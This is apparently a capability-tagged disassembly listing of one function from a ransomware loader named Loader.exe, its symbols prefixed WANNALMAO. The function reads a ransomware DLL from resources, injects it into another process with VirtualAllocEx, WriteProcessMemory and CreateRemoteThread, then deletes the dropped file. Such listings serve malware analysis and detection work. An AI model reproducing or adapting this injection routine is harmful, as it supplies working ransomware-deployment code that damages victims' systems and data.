Function at 0x14002c4ba
Capabilities:
Create thread
Delete file
Inject thread

Disassembly:
jmp 0x14002ed90
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14009b300]
xor rax, rbp
mov qword [rbp + 0x208], rax
lea rdx, [rbp + 8]
mov ecx, 0x66
call sym.Loader.exe_unsigned_char____ptr64___cdecl_WANNALMAO_LoadDllFromResources_unsigned_int__unsigned_long_long_unsigned___int64_____ptr64_
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14002ede6
lea rcx, str.error_reading_ransomware_from_resources
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, qword [0x14009b4c8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14002ee1e
lea rcx, str.error_allocating_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [0x14009b4c8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002ee50
lea rcx, str.error_writing_to_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x10
xor edx, edx
mov rcx, qword [0x14009b4c8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002ee8a
lea rcx, str.error_allocating_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x88]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [0x14009b4c8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002eed7
lea rcx, str.error_writing_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea r8, str.WANNALMAO_LoadCLR
lea rdx, str.verysus.dll
mov rcx, qword [0x14009b4c8]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetFunctionAddress_void____ptr64__char_const____ptr64__char_const____ptr64_
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x14002ef0e
lea rcx, str.error_getting_WANNALMAO_LoadCLR_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xb8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14009b4c8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x14002ef5e
lea rcx, str.error_creating_remote_thread
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [0x14009b4c0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
jne 0x14002ef97
lea rcx, str.error_unloading_dll_locally
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea r8, str.FreeLibrary
lea rdx, str.kernel32.dll
mov rcx, qword [0x14009b4c8]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetFunctionAddress_void____ptr64__char_const____ptr64__char_const____ptr64_
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x14002efce
lea rcx, str.error_getting_FreeLibrary_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rdx, str.verysus.dll
mov rcx, qword [0x14009b4c8]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetModuleBaseAddress_void____ptr64__char_const____ptr64_
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
jne 0x14002effe
lea rcx, str.error_getting_module_base_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x118]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xf8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14009b4c8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0
jne 0x14002f051
lea rcx, str.error_creating_remote_thread
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [0x14009b4d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14002f080
lea rcx, str.error_deleting_verysus.dll
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rcx, [rbp - 0x40]
lea rdx, [0x1400870a0]
call fcn.14002c848
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.14002c49c
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret